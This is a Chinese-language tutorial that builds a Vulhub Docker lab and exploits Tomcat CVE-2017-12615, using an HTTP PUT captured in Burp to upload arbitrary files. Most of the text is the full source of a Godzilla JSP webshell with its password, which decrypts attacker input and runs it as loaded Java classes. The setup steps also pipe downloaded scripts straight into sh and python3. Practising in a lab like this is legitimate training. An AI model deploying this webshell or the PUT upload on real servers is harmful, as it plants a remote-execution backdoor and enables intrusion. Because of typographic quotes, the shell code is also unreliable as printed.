文章目录
- 1.下载docker
- 2.申请加速器
- 3.安装pip
- 4.安装docker-compose
- 5.安装git
- 6.安装vulnhub文件
- 7.运行vulhub中的靶机
- `TypeError: kwargs_from_env() got an unexpected keyword argument 'ssl_version'报错`
- 8.tomcat-----CVE-2017-12615(任意文件上传)
- 1.访问192.168.9.101:8080
- 2.bp抓包
1.下载docker
sudo apt-get install curl
sudo curl -s https://get.docker.com/ | sh
2.申请加速器
阿里加速器
直接将红框里的复制粘贴到命令行
3.安装pip
sudo curl -s https://bootstrap.pypa.io/get-pip.py | python3
4.安装docker-compose
pip install docker-compose
5.安装git
sudo apt-get install git
6.安装vulnhub文件
git clone https://github.com/vulhub/vulhub.git
7.运行vulhub中的靶机
docker compose up -d
docker compose ps -a
访问主机IP地址:192.168.1.100:8080
TypeError: kwargs_from_env() got an unexpected keyword argument 'ssl_version'报错
在 Docker Compose 的早期版本中,命令是 docker-compose,但自从 Docker Compose 1.27.0 版本开始,可以使用简化的 docker compose 命令。
8.tomcat-----CVE-2017-12615(任意文件上传)
cd vulhub/tomcat/CVE-2017-12615
docker compose up -d
docker compose ps
1.访问192.168.9.101:8080
2.bp抓包
修改请求方法----PUT
访问刚刚创建的文件1.txt,说明可以上传任意文件
这是哥斯拉生成的jsp木马,密码是pass
<%! String xc=“3c6e0b8a9c15224a”; String pass=“pass”; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance(“AES”);c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),“AES”));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance(“MD5”);m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName(“java.util.Base64”);Object Encoder = base64.getMethod(“getEncoder”, null).invoke(base64, null);value = (String)Encoder.getClass().getMethod(“encodeToString”, new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName(“sun.misc.BASE64Encoder”); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod(“encode”, new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName(“java.util.Base64”);Object decoder = base64.getMethod(“getDecoder”, null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod(“decode”, new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName(“sun.misc.BASE64Decoder”); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod(“decodeBuffer”, new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute(“payload”)==null){session.setAttribute(“payload”,new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute(“parameters”,data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute(“payload”)).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>
哥斯拉连接